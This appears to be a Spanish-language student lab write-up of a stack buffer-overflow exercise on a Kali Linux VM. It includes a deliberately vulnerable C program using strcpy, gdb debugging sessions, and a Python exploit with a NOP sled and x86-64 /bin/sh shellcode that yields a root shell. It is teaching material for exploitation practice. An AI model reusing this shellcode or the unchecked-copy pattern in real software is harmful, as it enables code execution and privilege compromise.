Documentos de Académico
Documentos de Profesional
Documentos de Cultura
La presente actividad se desarrolló en una máquina virtual con el sistema operativo Kali
Linux, anexo versión, dirección ip y nombre del host:
root@vmjuliosanchez:~# hostnamectl
Static hostname: vmjuliosanchez
Icon name: computer-vm
Chassis: vm
Machine ID: 32592958be5846a6950412db9a607cdd
Boot ID: 9dfe12c0ad034932952040bec4c27171
Virtualization: oracle
Operating System: Kali GNU/Linux Rolling
Kernel: Linux 5.3.0-kali2-amd64
Architecture: x86-64
root@vmjuliosanchez:~#
La dirección ip de la VM es 192.168.1.96
Cabe mencionar que las explicaciones teóricas serán excluidas debido a que ya fueron
proporcionadas en la “Guia Actividad BOF” así como también la captura de cada
imagen, me limitaré a presentar el resultado de la ejecución de cada comando desde el
shell en una conexión remota SSH hacia la máquina virtual.
Por facilidad de uso realizaré la actividad a través de una conexión remota SSH hacia la
máquina virtual con Kali Linux, esto ayudará a compactar la documentación de dicha
actividad.
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Se crea una carpeta “r3to_2020” con la finalidad de mantener un orden con los archivos
root@vmjuliosanchez:~# mkdir r3to_2020
root@vmjuliosanchez:~# cd r3to_2020/
root@vmjuliosanchez:~/r3to_2020# vi r3to.c
root@vmjuliosanchez:~/r3to_2020# cat r3to.c
#include <stdio.h>
#include <string.h>
void premio()
{
printf("Alterado el flujo del programa JULIO SANCHEZ\n");
}
int main(int argc, char *argv[])
{
char buffer[100];
if (argc != 2)
{
printf("Uso: %s argumento\n",argv[0]);
return -1;
}
strcpy(buffer,argv[1]);
printf ("%s\n",buffer);
return 0;
}
root@vmjuliosanchez:~/r3to_2020#
Se imprimen 100 caracteres con la ayuda de Python desde la consola del Debugger, así
mismo se valida la correcta ejecución de la aplicación:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 130
root@vmjuliosanchez:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 130
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4
Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A
root@vmjuliosanchez:~#
(gdb) run
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4
Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A
Starting program: /root/r3to_2020/r3to
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4
Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4
Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A
Program received signal SIGSEGV, Segmentation fault.
0x00005555555551cb in main (argc=2, argv=0x7fffffffe438) at r3to.c:19
19 }
(gdb)
Para saber en qué punto exacto ocurre el desbordamiento, los siguientes comandos nos
permitirán imprimir las salidas de la aplicación sobre el debugger; “(gdb) x/xw $ersp”
para 32bits y “(gdb) x/xw $rsp” para 64bits.
Las direcciones físicas son rbd y rsp es necesario convertirlas a código hexadecimal a
Little Endian, se deberá hacer con la dirección física rbd convirtiéndola de derecha a
izquierda.
0x0000555555555155
0x0000 55 55 55 55 51 55
\x55\x51\x55\x55\x55\x55
19 }
(gdb)
Nos enviará error, ahora aprovechamos para desplegarlo con el código para ver donde
esta la función strcpy() con la ayuda del comando gdb list sobre el debugger.
(gdb) list
14 return -1;
15 }
16 strcpy(buffer,argv[1]);
17 printf ("%s\n",buffer);
18 return 0;
19 }
20
(gdb)
(gdb) break 16
Breakpoint 1 at 0x55555555519f: file r3to.c, line 16.
Ejecutamos nuevamente el script sh3ll.py para que nos muestre el punto de interrupción
indicado
Ahora bien, es necesario imprimir las 40 líneas de memoria sobre el debbuger con el
comando gdb x/40x $rsp.
0x7fffffffe2f0
7f ff ff ff e2 f0
\xf0\xe2\xff\xff\xff\x7f
Creamos el archivo sh3ll2.py ahora incluyendo dos cambios, incluir el valor del formato
Little Endian y especificar el carácter 120 que provoca el desbordamiento:
root@vmjuliosanchez:~/r3to_2020# vi sh3ll2.py
#!/usr/bin/python
nops = '\x90' * 64
shellCode = (
'\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69' +
'\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
)
(gdb) clear
Deleted breakpoint 1
(gdb)
Para finalizar con la actividad necesitamos obtener el Shell sobre la función premio(),
esto lo lograremos al ejecutarse correctamente el sh3ll2.py sobre el debugger.
# whoami
[Detaching after fork from child process 2641]
root
#